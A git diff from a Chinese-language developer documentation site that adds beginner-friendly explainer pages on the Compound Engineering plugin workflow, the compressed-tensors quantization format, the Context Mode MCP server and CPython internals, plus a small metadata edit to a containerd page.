+```
+/ce-brainstorm "用户通过微信一键注册，需要处理微信授权回调、用户信息同步、本地账户创建"
+```
+
+这会生成一个需求文档，包含交互流程、边界情况和验收标准。
+
+第三步，根据需求文档生成计划：
+
+```
+/ce-plan docs/brainstorms/wechat-registration-requirements.md
+```
+
+计划文档会列出具体任务、依赖关系、测试策略。
+
+#### 示例 2：系统性修 bug
+
+遇到一个间歇性 bug 时，用 `ce-debug` 系统性地排查：
+
+```
+/ce-debug "支付回调有时创建重复订单"
+```
+
+ce-debug 会做三件事：
+1. 复现失败场景，定位触发条件
+2. 追踪因果链，找到根本原因
+3. 先写测试，再写修复代码
+
+修完之后同样走 review 和 compound：
+
+```
+/ce-code-review
+/ce-compound
+```
+
+`ce-code-review` 会派多个"角色代理"并行审查——安全审查员看漏洞，正确性审查员看逻辑，性能审查员看效率。每个代理从不同角度看问题，最后综合出审查结论。
+
+### 五、为什么叫"Compound"（复利）
+
+名字来自复利的概念。每一轮工作循环结束时的 `ce-compound` 步骤，把经验固化成文档。下一个循环启动时，`ce-brainstorm` 和 `ce-plan` 会读取这些文档：
+
+```
+第一次做微信支付：踩了 3 个坑，花了 2 天，记入了 compund 文档
+第二次做支付宝支付：读了 compound 文档，只踩了 1 个坑，花了 0.8 天
+```
+
+这不是简单的"写文档"，而是让 Agent 在每次启动时**自动加载历史经验**。经验越多，后续工作越快、越稳。
+
+### 六、安装与使用
+
+安装方式因 AI 工具而异。以 Claude Code 为例：
+
+```
+/plugin marketplace add EveryInc/compound-engineering-plugin
+/plugin install compound-engineering
+```
+
+安装后运行 `/ce-setup` 会自动检测环境、安装缺失工具、初始化项目配置。
+
+目前这个插件包含 38 个以上技能和 50 个以上 Agent，覆盖策略制定、头脑风暴、计划、执行、审查、调试、知识管理全流程。
+
+### 七、关键设计思考
+
+从第一性原理看，CE 解决的是 AI 编程时代的根本问题：**AI 的记忆是短期的**。每次新对话、新文件改动，过去的上下文可能就被丢弃了。CE 的 pipeline 设计把每个阶段的产出写为文件，让知识"沉淀"下来，不依赖 AI 的短期记忆。
+
+同时，它把 80% 的精力放在规划和审查上——计划越扎实，执行时 Agent 偏离目标的可能性就越小。这不是增加仪式，而是增加杠杆。
diff --git a/src/content/docs/projects/compressed-tensors-vllm.md b/src/content/docs/projects/compressed-tensors-vllm.md
new file mode 100644
index 000000000..26309efe1
--- /dev/null
+++ b/src/content/docs/projects/compressed-tensors-vllm.md
@@ -0,0 +1,193 @@
+---
+title: compressed-tensors — vLLM 的量化模型格式
+来源: https://github.com/neuralmagic/compressed-tensors
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+## 一句话概括
+
+compressed-tensors 是一个基于 safetensors 的扩展格式，让量化后的 AI 模型（把大数字拆成小数字来省空间）可以统一、高效地存到硬盘上。
+
+## 为什么要学这个？
+
+想象一下，你买了一本 1000 页的厚书（一个大模型），但你的书包（显存）很小，装不下。于是你用一种"压缩法"把每页的内容浓缩成原来的一半大小，这本薄书还是能读，只是稍微费点脑子。
+
+compressed-tensors 就是干这件事的——它管的是"浓缩后的书怎么打包、怎么存储、怎么再打开读"这个环节。
+
+在 AI 的世界里，这叫**模型量化（Quantization）**：把模型里的数字从 16 位（float16）压缩到 4 位甚至 8 位，从而减少内存占用、加快推理速度。
+
+## 核心概念
+
+### 1. safetensors 是什么？
+
+safetensors 是 Hugging Face 提出的一个"只存数据、不存代码"的文件格式，用来替代传统的 pickle。它的特点是安全——加载模型时不会执行任意代码，避免黑客注入恶意程序。
+
+compressed-tensors 就是在这个安全格式之上"打个补丁"，增加了对压缩/量化数据的支持。
+
+### 2. 量化的类型
+
+| 类型 | 说人话 | 举例 |
+|------|--------|------|
+| Weight-only | 只压缩模型的"参数"（脑子里的数字），计算还是用高精度 | W4A16：权重4位，激活16位 |
+| Activation | 连中间计算结果也压缩 | W8A8：权重8位，激活8位 |
+| KV Cache | 压缩对话历史缓存 | 省显存 |
+| 混合量化 | 不同层用不同压缩率 | 重要的层不压缩，不重要的层压缩狠一点 |
+
+### 3. 压缩状态（Quantization Status）
+
+模型从原始到压缩，会经历三个阶段：
+
+1. **CALIBRATION（校准）**：用一些样本数据跑一遍模型，看看哪些数字可以安全地变小
+2. **QUANTIZED（已量化）**：压缩完成，但还没冻结
+3. **FROZEN（已冻结）**：压缩参数被锁定，可以安全保存到硬盘
+
+### 4. 支持的压缩方法
+
+compressed-tensors 不是自己发明压缩算法，而是当个"通用快递员"——它支持多种已有的压缩方法：
+
+- **GPTQ**：一种逐层压缩方法
+- **AWQ**：自适应权重量化
+- **SmoothQuant**：把计算难度从权重转移到激活值上
+- **FP8**：用 8 位浮点数存储
+- **稀疏化（Sparsity）**：把不重要的大量参数设为零
+
+## 代码示例
+
+### 示例一：对一个小模型做量化并保存到硬盘
+
+这段代码演示了完整的流程：加载模型 → 配置量化 → 用数据校准 → 压缩保存。
+
+```python
+from transformers import AutoModelForCausalLM, AutoTokenizer
+from compressed_tensors import (
+    QuantizationConfig,
+    QuantizationStatus,
+    apply_quantization_config,
+    freeze_module_quantization,
+    compress_quantized_weights,
+    ModelCompressor,
+)
+from datasets import load_dataset
+from torch.utils.data import DataLoader
+
+# 第一步：加载一个原始的大模型
+model_name = "TinyLlama/TinyLlama-1.1B-intermediate-step-1431k-3T"
+model = AutoModelForCausalLM.from_pretrained(
+    model_name, device_map="cuda:0", torch_dtype="auto"
+)
+
+# 第二步：读取量化配置文件，告诉模型"怎么用4位来存权重"
+config = QuantizationConfig.parse_file("./examples/bit_packing/int4_config.json")
+
+# 第三步：进入"校准"模式——用真实数据让模型自己看看哪些数字可以变小
+config.quantization_status = QuantizationStatus.CALIBRATION
+apply_quantization_config(model, config)
+
+# 第四步：准备校准用的数据集（用512句文本"喂"给模型）
+dataset = load_dataset("ptb_text_only")["train"]
+tokenizer = AutoTokenizer.from_pretrained(model_name)
+
+def tokenize_function(examples):
+    return tokenizer(examples["sentence"], padding=False, truncation=True, max_length=1024)
+
+tokenized_dataset = dataset.map(tokenize_function, batched=True)
+data_loader = DataLoader(tokenized_dataset, batch_size=1)
+
+# 第五步：跑校准——让模型过一遍数据
+for idx, sample in enumerate(data_loader):
+    sample = {key: value.to("cuda") for key, value in sample.items()}
+    _ = model(**sample)
+    if idx >= 512:
+        break
+
+# 第六步：冻结量化参数，然后压缩权重到硬盘
+model.apply(freeze_module_quantization)
+model.apply(compress_quantized_weights)
+
+# 第七步：保存压缩后的模型
+output_dir = "./my_compressed_model"
+compressor = ModelCompressor.from_pretrained_model(model)
+compressor.compress_model(model)
+model.save_pretrained(output_dir)
+```
+
+### 示例二：直接加载一个已经量化的模型
+
+量化的模型存到硬盘后，和普通模型用法几乎一样。
+
+```python
+from transformers import AutoModelForCausalLM, AutoConfig
+from compressed_tensors import QuantizationConfig
+
+# 加载压缩模型的配置文件，看看它是怎么被压缩的
+config = AutoConfig.from_pretrained("./my_compressed_model")
+quantization_config = getattr(config, "quantization_config", None)
+
+if quantization_config:
+    # 解析量化配置，了解用了什么压缩方案
+    q_config = QuantizationConfig.model_validate(quantization_config)
+    print(f"压缩方案: {q_config.quant_method}")
+    print(f"量化精度: 权重 {q_config.bits} 位")
+    print(f"当前状态: {q_config.quantization_status}")
+else:
+    print("这个模型没有做量化。")
+
+# 直接加载量化后的模型——底层会自动处理解压，你不需要操心
+model = AutoModelForCausalLM.from_pretrained(
+    "./my_compressed_model",
+    device_map="cuda:0",
+    torch_dtype="auto",
+)
+
+# 和正常模型一样推理
+inputs = tokenizer("你好，请介绍一下你自己。", return_tensors="pt").to("cuda")
+outputs = model.generate(**inputs, max_new_tokens=50)
+print(tokenizer.decode(outputs[0], skip_special_tokens=True))
+```
+
+## 架构关系图
+
+```
+原始模型 (float16)
+      │
+      ▼
+ ┌─────────────┐
+ │  校准 (Calibration)  │  ← 用少量数据跑一遍，找规律
+ └─────────────┘
+      │
+      ▼
+ ┌─────────────┐
+ │  量化 (Quantize)  │  ← float16 → int4/int8，数字变小
+ └─────────────┘
+      │
+      ▼
+ ┌─────────────┐
+ │  压缩 (Compress)  │  ← 冻结参数，打包数据
+ └─────────────┘
+      │
+      ▼
+ ┌─────────────────┐
+ │ compressed-tensors │  ← 存成 safetensors 格式，带量化元数据
+ │  (.safetensors)   │
+ └─────────────────┘
+```
+
+## 关键点总结
+
+- compressed-tensors = safetensors 的"量化插件"，让压缩后的模型能安全地存到硬盘上
+- 它不发明压缩算法，而是统一了各种压缩方法的存储格式
+- 三种状态：校准 → 量化 → 冻结，理解这个流程就理解了量化
+- 支持混合量化（不同层不同精度），这是它相比其他方案的亮点
+- 用 vLLM 推理时，自动识别并加载 compressed-tensors 格式的模型，无需额外配置
+
+## 延伸学习
+
+如果你想进一步了解，推荐的方向：
+
+1. **safetensors 本身**：了解它为什么比 pickle 安全
+2. **GPTQ / AWQ / SmoothQuant**：了解各种量化算法的差异
+3. **vLLM 推理引擎**：compressed-tensors 主要服务于 vLLM，了解它怎么加载量化模型
+4. **LLM-Compressor**：vLLM 官方出的模型压缩工具集，和 compressed-tensors 配套使用
diff --git a/src/content/docs/projects/containerd.md b/src/content/docs/projects/containerd.md
index 20a7171be..c09837466 100644
--- a/src/content/docs/projects/containerd.md
+++ b/src/content/docs/projects/containerd.md
@@ -2,7 +2,7 @@
 title: containerd — Docker 和 Kubernetes 共用的那台容器运行机
 来源: containerd GitHub, https://github.com/containerd/containerd
 日期: 2026-05-31
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/context-mode.md b/src/content/docs/projects/context-mode.md
new file mode 100644
index 000000000..ac751980b
--- /dev/null
+++ b/src/content/docs/projects/context-mode.md
@@ -0,0 +1,175 @@
+---
+title: Context Mode — 守护 AI 编码代理「记忆」的中间件
+来源: https://github.com/mksglu/context-mode
+日期: 2026-06-13
+分类: 机器学习
+子分类: 数据科学与 AI
+provenance: pipeline-v3
+---
+
+## 日常类比：塞满的笔记本
+
+想象你有一个实习生（AI 编码代理），他面前只摊开了一本笔记本——这笔记本的每页空间就是 **context window（上下文窗口）**。
+
+每次实习生用工具读到文件、跑终端命令、抓取网页，工具的 **原始输出** 都会直接写进这本笔记。跑 30 分钟后，笔记里一半的空间都被 `npm test` 的输出、Playwright 的截图描述、GitHub issue 的正文占满了——真正重要的"我在改哪个文件""刚才你让我做什么"反而被挤出去了。更糟的是，当笔记本写满、AI 决定"把前面的对话压缩一下腾空间"时，它会 **忘记自己正在改什么**，就像人撕掉了笔记本的前半页。
+
+**Context Mode 就是一套给这本笔记本装上"外部存储 + 书签"的系统。** 它把工具产生的大量原始数据从笔记本里拎出去，存到磁盘上的数据库里；AI 要做回顾时，只查"书签"（关键词搜索），把最需要的内容誊抄回来——笔记本空间从 315 KB 降到 5.4 KB，**节省了 98%**。
+
+官方仓库：[mksglu/context-mode](https://github.com/mksglu/context-mode)（17.3k+ star），开源 ELv2 协议。
+
+---
+
+## 它解决什么问题
+
+AI 编码代理（Claude Code、Cursor、VS Code Copilot 等）在长时间工作中会遇到 **context 耗尽**：
+
+1. **工具输出占领上下文**：一个 Playwright 页面快照 56 KB，20 个 GitHub issue 59 KB，一条访问日志 45 KB。30 分钟后 40% 的上下文就消失了。
+2. **对话压缩导致遗忘**：当代理为腾出空间而压缩（compact）对话时，它会忘记正在编辑哪些文件、哪些任务进行中。
+3. **LLM 被当"数据处理器"而非"代码生成器"**：为了统计 50 个文件里的函数数量，代理需要逐个读取全部文件（700 KB），而不是一行脚本题目就解决了。
+
+Context Mode 从三个方向解决这些问题。
+
+---
+
+## 核心概念拆解
+
+### 1. Context Saving（上下文沙箱）
+
+这是最核心的机制。Context Mode 作为一个 **MCP Server**（Model Context Protocol 服务器），在代理和工具之间架了一层"拦截器"。
+
+**类比**：就像银行保险柜。你把贵重物品（工具原始输出）放进保险柜（磁盘数据库），手里只留一张小纸条（引用 ID）。需要时去保险柜取，不需要时纸条本身几乎不占空间。
+
+**具体行为**：
+- 当代理执行 Bash、Read、WebFetch 等会产生大量输出的工具时，Context Mode 在后台拦截结果
+- 原始数据写入本地 SQLite 数据库（不进入对话上下文）
+- 代理的对话窗口里只保留一条简短的引用标记
+- 效果：315 KB → 5.4 KB（98% 节省）
+
+### 2. Session Continuity（会话连续性）
+
+每次对话结束后，Context Mode 把 **所有关键操作** 记录到 SQLite 里：文件编辑、git 操作、任务状态、用户决策、错误信息。
+
+当新会话启动、或旧对话被压缩后，代理可以通过 **FTS5 全文搜索 + BM25 算法** 精确检索出上次做到哪了，而不是盲目地重新翻代码。
+
+**类比**：就像看电视剧——上一集结束时的"上集回顾"帮你无缝衔接，而不需要你重看整部剧。
+
+### 3. Think in Code（用代码思考）
+
+这是一个范式转换的理念：**LLM 应该写代码来做分析，而不是把数据全部塞进上下文来计算。**
+
+**类比**：与其手动翻 50 本书数页数，不如写一行 Python 脚本让电脑帮你数——你只需要看输出数字，不需要看到 50 本书的全文。
+
+---
+
+## 代码示例
+
+### 示例 1：用 `ctx_execute` 替代多次文件读取
+
+**没有 Context Mode 的做法**（暴力逐个读取）：
+
+```javascript
+// 代理需要逐个 Read 50 个 .ts 文件
+// 总消耗 ≈ 700 KB 的上下文
+
+Read("src/file1.ts")    // ~14 KB
+Read("src/file2.ts")    // ~14 KB
+Read("src/file3.ts")    // ~14 KB
+// ... 重复 50 次
+// 输出总计 700 KB，context window 被塞满
+```
+
+**用 Context Mode 的做法**（只跑一个脚本，结果只占 3.6 KB）：
+
+```javascript
+// ctx_execute 在沙箱环境里运行脚本
+// 原始数据不入上下文，只返回结果
+ctx_execute("javascript", `
+  const fs = require('fs');
+  const path = require('path');
+  const files = fs.readdirSync('src')
+    .filter(f => f.endsWith('.ts'));
+  files.forEach(f => {
+    const lines = fs.readFileSync(path.join('src', f), 'utf8')
+      .split('\\n').length;
+    console.log(f + ': ' + lines + ' lines');
+  });
+`);
+
+// 输出只有精简的结果，约 3.6 KB：
+// auth.ts: 342 lines
+// user.ts: 128 lines
+// ...
+```
+
+对比：**47 次 Read 操作 → 1 次 ctx_execute 调用，上下文消耗从 700 KB 降到 3.6 KB，约 200 倍节省。**
+
+### 示例 2：用 `ctx_index` + `ctx_search` 实现知识库检索
+
+**场景**：你需要在一个大型项目里找到所有包含"用户认证"的文件。没有 Context Mode 时，代理需要 `grep` 全部文件，输出可能几十 KB。
+
+```javascript
+// 第一步：把项目文件索引到 FTS5 数据库（一次性操作）
+ctx_index("src", { recursive: true });
+
+// 第二步：之后每次搜索只返回相关片段
+ctx_search("用户认证 密码");
+
+// FTS5 返回精准匹配的文件路径和行内容
+// 而不是把整个项目的 grep 结果塞进上下文
+```
+
+**类比**：`ctx_index` 就像给图书馆编目录卡片，`ctx_search` 就是查目录——你得到的是精准的书籍定位，而不是把整个图书馆的书架描述搬回家。
+
+### 示例 3：查看上下文节省统计
+
+```javascript
+// 随时查看当前会话的上下文节省情况
+ctx_stats();
+
+// 输出示例：
+// ┌──────────────────────────────────────────┐
+// │ Session Savings                          │
+// ├──────────────────────────────────────────┤
+// │ Bash:     342 KB saved (97% reduction)  │
+// │ Read:      89 KB saved (95% reduction)  │
+// │ WebFetch: 120 KB saved (99% reduction)  │
+// ├──────────────────────────────────────────┤
+// │ Total saved: 551 KB of context window   │
+// │ Efficiency:  89%                        │
+// └──────────────────────────────────────────┘
+```
+
+---
+
+## 支持的平台
+
+Context Mode 目前支持 **16 个平台**，分为几种安装模式：
+
+| 平台 | 安装方式 | 路由方式 |
+|------|----------|----------|
+| **Claude Code** | `/plugin marketplace` 一键安装 | 自动（Hook 注入） |
+| **Gemini CLI** | `npm install -g` + 配置 hooks | 自动（Hook 注入） |
+| **VS Code Copilot** | `mcp.json` + hooks.json | 自动（Hook 注入） |
+| **Cursor** | 本地文件夹 / 未来 Marketplace | 半自动（Rules 文件） |
+| **OpenCode** | `plugin: ["context-mode"]` | 自动（TypeScript 插件） |
+| **Codex CLI** | Marketplace 插件 | 自动（Hook 注入） |
+
+核心工具共 **11 个**，分为两类：
+
+- **6 个沙箱工具**：`ctx_execute`、`ctx_execute_file`、`ctx_batch_execute`、`ctx_index`、`ctx_search`、`ctx_fetch_and_index`
+- **5 个元工具**：`ctx_stats`（统计）、`ctx_doctor`（诊断）、`ctx_upgrade`（升级）、`ctx_purge`（清除）、`ctx_insight`（个人分析面板）
+
+---
+
+## 为什么值得关注
+
+1. **解决的是 AI 编程的"隐形瓶颈"**：大多数教程关注 LLM 模型本身，但上下文窗口耗尽这个工程问题同样致命——模型再聪明，context 满了也会"失忆"。
+2. **98% 的节省数据很震撼**：这不是理论优化，是真实可量化的效果。
+3. **不改变你的工作流**：它是 MCP 服务器，装上去就工作，不需要改代码、不改模型、不改使用习惯。
+4. **跨平台生态建设**：从 Claude Code 到 Codex 到 Cursor，覆盖面极广，是 MCP 生态里最有野心的基础设施之一。
+
+---
+
+## 思考题
+
+Context Mode 选择把工具输出"偷偷"移到沙箱里，而不在每次调用前征求你的同意——你觉得这种设计在便利性和透明度之间平衡得怎么样？有没有你可能担心的地方？
diff --git a/src/content/docs/projects/cpython.md b/src/content/docs/projects/cpython.md
new file mode 100644
index 000000000..c185917f4
--- /dev/null
+++ b/src/content/docs/projects/cpython.md
@@ -0,0 +1,325 @@
+---
+title: CPython — Python 官方实现
+来源: https://github.com/python/cpython
+日期: 2026-06-13
+子分类: 语言运行时
+分类: 编译器
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**CPython** 是 [Python 语言规范](https://docs.python.org/3/reference/) 的**官方参考实现**，由 Python 核心开发团队在 [python/cpython](https://github.com/python/cpython) 仓库维护，主体用 **C 语言** 写成。你在官网下载的 `python3`、macOS 自带的 Python、大多数 Linux 发行版里的 `python3`、以及 PyPI 上无数库的默认运行环境，几乎都是 CPython。
+
+日常类比：如果把 **Python 语言** 看成一本全国通用的《菜谱大全》，CPython 就是政府开源的那家**中央厨房**——
+
+- **词法分析器 / 解析器** 像审稿编辑：把你的 `.py` 稿子拆成词语（token），再排成语法树（AST）；
+- **编译器** 像配菜间：把 AST 翻译成厨房内部指令单（**字节码 bytecode**），并缓存成 `__pycache__/*.pyc`；
+- **字节码解释器（eval loop）** 像流水线厨师：按指令单一步步操作，本质是**栈式虚拟机**；
+- **`PyObject` 与引用计数** 像每道菜上的标签和扫码枪：每个对象都有类型牌和「被引用几次」，归零就回收；
+- **GIL（全局解释器锁）** 像厨房里**只允许一把火**的规则：同一时刻只有一个线程在执行 Python 字节码，简化内存安全，但限制 CPU 密集型多线程并行；
+- **标准库 `Lib/`** 像配套餐具和预制酱料：`os`、`json`、`asyncio` 等随厨房一起发货。
+
+你写的 Django、PyTorch 脚本、`pip install` 装的第三方包，在默认环境下最终都由 **CPython 解释器 + 标准库 + C 扩展** 执行。其他实现（PyPy、Jython、GraalPy、MicroPython）能跑很多相同代码，但**语言特性的「标准答案」仍以 CPython 为准**。
+
+## 为什么重要
+
+不懂 CPython，下面这些现象很难讲透：
+
+- **为什么 `import` 第二次更快**——`__pycache__` 里缓存了 marshal 序列化的字节码，跳过解析与编译
+- **为什么多线程跑 CPU 密集任务几乎不加速**——**GIL** 让同一解释器内只有一个线程执行 Python 字节码
+- **为什么 `multiprocessing` 能利用多核而 `threading` 常常不能**——多进程各有独立解释器与 GIL；多线程共享一个 GIL
+- **为什么 `dis.dis()` 看到的指令和源码对不上**——编译器会做 peephole 优化、常量折叠，且 3.11+ 有**自适应特化解释器**
+- **为什么 C 扩展写错了会 segfault**——扩展与解释器共享地址空间，绕过 Python 层的异常安全网
+- **为什么 Python 3.13 有「无 GIL」实验构建**——`--disable-gil` 自由线程模式正在探索，但生态与 ABI 仍在演进
+
+## 核心概念
+
+### 1. Python 语言 vs CPython 实现
+
+| 概念 | 含义 |
+|------|------|
+| **Python 语言** | 语法、语义规范（`docs.python.org` 的 Language Reference） |
+| **CPython** | 用 C 写的解释器 + 标准库 + 构建系统，规范的**参考实现** |
+| **PyPy** | 带 JIT 的替代实现，通常 CPU 密集更快，兼容性略差 |
+| **MicroPython** | 面向 MCU 的裁剪实现 |
+
+说「Python 慢」「Python 有 GIL」时，几乎总是在说 **CPython 的实现选择**，不是语言规范强制如此。
+
+### 2. 源码树布局
+
+```
+cpython/
+├── Python/           # 解释器核心：ceval.c（字节码循环）、compile.c、import 等
+├── Objects/          # 内置类型：int、str、list、dict 的 C 实现
+├── Modules/          # 标准库 C 扩展：_socket、_json、posix…
+├── Lib/              # 纯 Python 标准库：asyncio、http、unittest…
+├── Include/          # C API 头文件：Python.h
+├── Parser/           # 词法、语法分析（PEG 解析器，3.9+）
+└── Programs/         # python 可执行文件入口
+```
+
+执行热点路径：**`Python/ceval.c`** 里的 `_PyEval_EvalFrameDefault`——一个巨大的 opcode 分派循环（switch 或 computed goto）。
+
+### 3. 从 `.py` 到执行的流水线
+
+官方文档与 `InternalDocs/compiler.md` 描述的编译链：
+
+```
+源码 (.py)
+  ▼ Tokenize     Parser/tokenizer
+  ▼ Parse        Parser/ → AST
+  ▼ Symtable     符号表、作用域分析
+  ▼ Compile      Python/compile.c → 伪指令
+  ▼ CFG + 优化   Python/flowgraph.c（peephole 等）
+  ▼ Assemble     Python/assemble.c → 字节码
+  ▼ Code object  types.CodeType（co_code, co_consts, co_varnames…）
+  ▼ Eval loop    Python/ceval.c 栈式虚拟机执行
+```
+
+导入模块时，若 `.pyc` 时间戳/哈希与 `.py` 一致，可直接 **marshal 加载** 字节码，跳过前端编译。
+
+### 4. 字节码与栈式虚拟机
+
+CPython 字节码是 **16 位 code unit**：低 8 位 `opcode`，高 8 位 `oparg`。解释器是**栈机**——`LOAD_CONST`、`BINARY_ADD` 等指令操作**求值栈（evaluation stack）**，栈深度由编译器算出，存在 `co_stacksize`。
+
+每个函数调用对应一帧 **`_PyInterpreterFrame`**（3.11+ 更轻量，常分配在线程栈上），保存指令指针、局部变量、栈指针、全局/ builtins 命名空间等。
+
+### 5. `PyObject`：一切皆对象
+
+在 C 层，所有 Python 值都是 `PyObject*`。典型布局：
+
+- **`ob_refcnt`**：引用计数
+- **`ob_type`**：指向 `PyTypeObject`（类型对象，类似 vtable）
+- 类型专有数据（如 `PyLongObject` 的数值、`PyListObject` 的元素数组）
+
+小整数 **-5～256** 有全局缓存；短字符串会 **intern**。`id(x)` 在 CPython 里通常是对象地址（实现细节，勿依赖可移植语义）。
+
+### 6. 内存管理：引用计数 + 循环垃圾回收
+
+- **主路径**：`Py_INCREF` / `Py_DECREF`，计数为 0 立即调用类型的 `tp_dealloc`
+- **循环引用**：仅靠引用计数无法回收 `a ↔ b`，因此有 **`gc` 模块**的分代循环检测（mark-sweep，三代）
+- **pymalloc**：小对象（≤512B）从专用 arena/pool 分配，减轻 `malloc` 压力
+
+### 7. GIL（Global Interpreter Lock）
+
+GIL 是一把互斥锁，保证**同一解释器进程中**只有一个线程执行 Python 字节码。原因包括：引用计数与多数内置结构**非线程安全**，用一把锁比给每个对象加锁更简单，且历史上保护了单线程性能。
+
+| 场景 | 表现 |
+|------|------|
+| **I/O 阻塞**（网络、磁盘） | 等待 I/O 时会释放 GIL，多线程仍有用 |
+| **CPU 密集纯 Python** | 多线程几乎无法并行，用 `multiprocessing` 或 C 扩展释放 GIL |
+| **NumPy 等 C 扩展** | 计算时在 C 层 `Py_BEGIN_ALLOW_THREADS` 释放 GIL |
+
+`sys.getswitchinterval()` 控制线程切换间隔（默认约 5ms 量级）。Python 3.13 **实验性 free-threaded** 构建尝试用每对象锁 + 偏置引用计数去掉 GIL，尚非默认生产路径。
+
+### 8. C API 与扩展模块
+
+用 C/C++/Rust（PyO3）写的模块在运行时与解释器**同进程加载**，直接操作 `PyObject*`。好处是性能与系统调用；代价是**崩溃即整个进程完蛋**，且须跟随 CPython 版本维护 ABI（稳定 ABI `limited API` 可缓解）。
+
+### 9. 运行时层级（3.12+ 文档化模型）
+
+`Doc/reference/executionmodel.rst` 把运行时分为：
+
+```
+进程
+ └── Python 全局运行时状态
+      └── 解释器（Interpreter）── sys.modules 等
+           └── 线程状态（Thread state）── 异常、调用栈
+                └── 字节码解释器循环（eval loop）
+```
+
+`concurrent.interpreters`（3.12+）可在同进程创建**多个子解释器**，各自有独立 GIL（3.12 per-interpreter GIL），是「多核友好」探索方向之一。
+
+## 从源码到运行（零基础走读）
+
+```python
+def greet(name: str) -> str:
+    return f"Hello, {name}"
+```
+
+1. **`python script.py`** → `Programs/python.c` 启动，初始化解释器与 `__main__` 模块
+2. **读取源码** → tokenize → PEG parser → AST
+3. **`compile()`** → 字节码 + `code object`；写入 `__pycache__/script.cpython-312.pyc`（若可写）
+4. **`PyEval_EvalCode`** → 创建 frame，`_PyEval_EvalFrameDefault` 执行 opcode
+5. **`f"..."`** 在编译期可能生成 `BUILD_STRING` 等指令；运行时在栈上拼接 `str`
+6. 临时对象引用计数增减；无循环则立即回收，有循环则等待 `gc` 收集
+
+## 代码示例
+
+### 示例 1：用 `dis` 阅读字节码
+
+理解 CPython 在干什么的最快方式之一，是直接看编译产物：
+
+```python
+import dis
+
+def add_tax(price: float, rate: float) -> float:
+    total = price * (1.0 + rate)
+    return round(total, 2)
+
+print("=== add_tax 字节码 ===")
+dis.dis(add_tax)
+
+code = add_tax.__code__
+print("\nco_consts:", code.co_consts)
+print("co_varnames:", code.co_varnames)
+print("co_stacksize:", code.co_stacksize)
+```
+
+典型输出会包含 `LOAD_FAST`、`LOAD_CONST`、`BINARY_OP`、`CALL`、`RETURN_VALUE` 等。Python 3.11+ 还会出现**自适应特化**相关 opcode（如 `BINARY_OP_ADAPTIVE`），解释器根据运行时类型反馈把通用指令**特化成快速路径**。
+
+配合命令行：
+
+```bash
+python -m dis your_module.py
+# 或
+python -O -m dis your_module.py   # -O 去掉 assert 等
+```
+
+### 示例 2：观察 import 缓存与 `marshal`
+
+第二次 `import` 更快，是因为 `.pyc` 跳过了编译前端：
+
+```python
+import importlib.util
+import marshal
+import dis
+import pathlib
+import time
+import sys
+import tempfile
+
+snippet = '''
+def work():
+    s = 0
+    for i in range(100_000):
+        s += i
+    return s
+'''
+
+tmp = pathlib.Path(tempfile.mkdtemp())
+src = tmp / "demo_mod.py"
+src.write_text(snippet, encoding="utf-8")
+
+spec = importlib.util.spec_from_file_location("demo_mod", src)
+mod = importlib.util.module_from_spec(spec)
+
+t0 = time.perf_counter()
+spec.loader.exec_module(mod)
+cold = time.perf_counter() - t0
+
+# 触发写入 __pycache__
+importlib.invalidate_caches()
+pyc = next(tmp.joinpath("__pycache__").glob("demo_mod*.pyc"))
+
+t1 = time.perf_counter()
+with open(pyc, "rb") as f:
+    f.read(16)  # skip pyc header (magic + flags + timestamp/hash)
+    code_obj = marshal.load(f)
+warm = time.perf_counter() - t1
+
+print(f"冷启动 exec_module: {cold*1000:.2f} ms")
+print(f"marshal 加载 code:   {warm*1000:.2f} ms")
+print(f"pyc 路径: {pyc}")
+dis.dis(code_obj)
+```
+
+你会看到：**marshal 只恢复 `code object`**，仍由 eval loop 执行；但解析与编译成本在重复导入时被省掉。删除 `__pycache__` 或修改 `.py` 后哈希不匹配，CPython 会重新编译。
+
+### 示例 3：GIL 与 `sys.setswitchinterval`（现象演示）
+
+下面用纯 Python CPU 循环对比线程数（结果因机器而异，但趋势稳定）：
+
+```python
+import sys
+import time
+from concurrent.futures import ThreadPoolExecutor, ProcessPoolExecutor
+
+def cpu_chunk(n: int) -> int:
+    s = 0
+    for i in range(n):
+        s += i * i
+    return s
+
+N = 4
+CHUNK = 2_000_000
+
+def bench(label: str, fn) -> None:
+    t0 = time.perf_counter()
+    fn()
+    print(f"{label}: {time.perf_counter() - t0:.2f}s")
+
+def serial():
+    for _ in range(N):
+        cpu_chunk(CHUNK)
+
+def threaded():
+    with ThreadPoolExecutor(max_workers=N) as ex:
+        list(ex.map(cpu_chunk, [CHUNK] * N))
+
+def multiprocess():
+    with ProcessPoolExecutor(max_workers=N) as ex:
+        list(ex.map(cpu_chunk, [CHUNK] * N))
+
+if __name__ == "__main__":
+    print("switch interval:", sys.getswitchinterval())
+    bench("serial", serial)
+    bench("threads (GIL)", threaded)
+    bench("processes", multiprocess)
+```
+
+在 CPython 上，**`threaded` 往往接近 `serial`**，而 **`multiprocess` 可接近线性加速**——这就是 GIL 对 CPU 密集 Python 代码的经典影响。I/O 密集任务请不要照搬此结论，应使用 `asyncio` 或多线程阻塞 I/O。
+
+## 构建与参与（开发者向）
+
+从源码构建 CPython（Unix /macOS 典型流程）：
+
+```bash
+git clone https://github.com/python/cpython.git
+cd cpython
+
+# macOS 通常已有 clang；Linux 需 build-essential
+./configure --enable-optimizations   # PGO，构建更慢，运行更快
+make -j$(nproc 2>/dev/null || sysctl -n hw.ncpu)
+
+./python -c "import sys; print(sys.version)"
+./python -m test -j4   # 运行回归测试（耗时）
+```
+
+参与途径：
+
+- **PEP**（Python Enhancement Proposal）：新语法与/stdlib 改动的设计文档
+- **GitHub Issues / PR**：[devguide.python.org](https://devguide.python.org/) 描述贡献流程
+- **InternalDocs/**：源码树内维护的解释器、编译器内部文档
+
+## 与周边生态的关系
+
+| 项目 | 关系 |
+|------|------|
+| **PyPI** | 包索引；轮子（wheel）常含 CPython 版本的 C 扩展 `.so` |
+| **pip** | 纯 Python 工具，在 CPython 上安装依赖 |
+| **PyPy** | 替代实现，兼容大部分 CPython 语义，JIT 更快 |
+| **Cython / pybind11 / Rust PyO3** | 生成或编写 CPython C API 扩展 |
+| **[[openjdk]]** | 同为「语言规范 + 参考 VM」模式；对比可理解字节码、GC、GIL vs JVM 线程模型 |
+| **[[v8]]** | JS 引擎；同样有分层 JIT，但 CPython 长期以解释器为主（3.11+ 特化加速） |
+
